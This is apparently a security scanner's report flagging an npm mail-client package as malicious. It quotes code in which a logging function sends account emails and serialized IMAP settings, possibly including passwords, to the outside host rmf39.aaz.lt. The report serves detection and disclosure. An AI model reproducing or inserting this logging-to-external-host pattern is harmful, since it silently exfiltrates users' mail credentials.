@bobfrankston/mailx-store-web@0.1.106: Malicious npm security | LPM Firewall

Loading npm security reports…

@bobfrankston/mailx-store-web@0.1.106: Malicious npm security | LPM Firewall

Source & flagged code

7 flagged · loading source

worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

35function vlog(msg: string): void { // Route through main thread for logit (fetch works in workers but keep consistent) try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); } catch { /* ignore */ }

High

Ai Review Evidence

android-bootstrap.js sends verbose logs to an unrelated external host by default.

worker-entry.tsView on unpkg · L35

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.102 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.102 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

6208async addAccount(account) { this.deps.vlog(`addAccount id=${account.id} email=${account.email} host=${account.imap?.host} auth=${account.imap?.auth}`); this.db.upsertAccount(account.id, account.name, account.email, JSON.stringify(account));

High

Ai Review Evidence

worker-bundle.js duplicates the external logger and logs account email and mail-server details.

worker-bundle.jsView on unpkg · L6208

6691function vlog(msg) { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => { });

High

Ai Review Evidence

worker-bundle.js duplicates the external logger and logs account email and mail-server details.

worker-bundle.jsView on unpkg · L6691

android-bootstrap.jsView file

45/** Verbose log — goes to logit but doesn't clutter the screen (silent=true) */ function vlog(msg) { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => { }); }

High

Ai Review Evidence

android-bootstrap.js sends verbose logs to an unrelated external host by default.

android-bootstrap.jsView on unpkg · L45

1513for (const account of accounts) { vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

High

Ai Review Evidence

The Android startup log serializes the complete IMAP configuration, which can include a password, before sending it through that logger.

android-bootstrap.jsView on unpkg · L1513

Lines 1493-1533javascript

1493 }

1494 }

1495 catch (e) {

1496 console.warn(`[android] List debug: ${e.message}`);

1497 }

1498 // Shared allowlist/preferences: pull NOW that Drive auth is

1499 // live, instead of waiting for the first message read to

1500 // trigger the lazy revalidate (which is itself served stale).

1501 primeSharedConfigs()

1502 .catch(e => console.warn(`[android] prime shared configs: ${e?.message || e}`));

1503 // Read accounts directly from GDrive (bypass IndexedDB cache)

1504 narrate("Loading accounts from Google Drive…");

1505 const gdriveAccounts = await loadAccountsFromCloud();

1506 console.log(`[android] GDrive returned ${gdriveAccounts.length} accounts: ${gdriveAccounts.map(a => a.id).join(",")}`);

1507 if (gdriveAccounts.length > 0) {

1508 // Use canonical GDrive accounts (upsert handles overwrites)

1509 accounts = gdriveAccounts;

1510 const enabled = accounts.filter(a => a.enabled);

1511 narrate(`Found ${enabled.length} account(s): ${enabled.map(a => a.email || a.id).join(", ")}`);

1512 let setUp = 0;

1513 for (const account of accounts) {

1514 vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

High

Ai Review Evidence

The Android startup log serializes the complete IMAP configuration, which can include a password, before sending it through that logger.

android-bootstrap.jsView on unpkg · L1513

1515 if (!account.enabled) {

1516 vlog(`init: ${account.id} disabled, skipping`);

1517 continue;

1518 }

1519 narrate(`Setting up ${account.email || account.id}… (${++setUp}/${enabled.length})`);

1520 const domain = account.email?.split("@")[1]?.toLowerCase() || "";

1521 if (domain === "gmail.com" || domain === "googlemail.com") {

1522 syncManager.setTokenProvider(account.id, createNativeTokenProvider(account.email));

1523 }

1524 await syncManager.addAccount(account);

1525 }

1526 console.log(`[android] Loaded ${accounts.length} accounts from GDrive`);

1527 // C157: sync NOW. The boot-time syncAll ran before these

1528 // providers existed (fresh install: zero local accounts),

1529 // so without this kick the folder tree stayed empty until

1530 // the next 60 s poll tick — on top of OAuth consent time,

1531 // that read as "frozen for minutes". syncAll's inbox

1532 // phase lists folders first, so the tree paints in

1533 // seconds; message counts stream in behind.